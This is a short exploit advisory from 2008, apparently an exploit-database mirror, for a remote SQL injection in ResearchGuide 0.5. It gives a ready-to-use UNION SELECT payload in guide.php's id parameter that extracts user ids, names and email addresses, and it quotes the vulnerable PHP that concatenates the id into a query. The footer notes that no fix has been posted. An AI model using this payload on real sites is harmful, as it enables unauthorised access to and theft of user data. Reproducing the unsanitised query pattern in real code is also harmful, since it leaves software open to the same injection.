ResearchGuide 0.5 (guide.php id) SQL Injection Vulnerability

2008-06-23 00:00:00

:::::::-. ... ::::::. :::.
;;, `';, ;; ;;;`;;;;, `;;;
`[[ [[[[' [[[ [[[[[. '[[
$$, $$$$ $$$ $$$ "Y$c$$
888_,o8P'88 .d888 888 Y88
MMMMP"` "YmmMMMM"" MMM YM

[ Discovered by dun \ dun[at]strcpy.pl ]

################################################################
# [ researchguide ] Remote SQL Injection Vulnerability #
################################################################
#
# Script site: http://researchguide.sourceforge.net/
# http://sourceforge.net/projects/researchguide/
#
#
# Vuln: http://site.com/guide/guide.php?id=-1+UNION+SELECT+1,2,concat_ws(char(58),id,name,uniqname,email),4,5,6,7,8,9%20from%20selector/*
#
#
# Bug:
#
# ...
# $query = "SELECT * FROM $guideTable WHERE id=$id";
#
# $result = mysql_query ($query)
# or die ('The query failed!');
# ...
#
########################################################
# Greetz: D3m0n_DE * sid.psycho * str0ke and otherz.. #
########################################################

[ dun / 2008 ]

*******************************************************************************************

#

Fixes

No fixes

Per poter inviare un fix è necessario essere utenti registrati.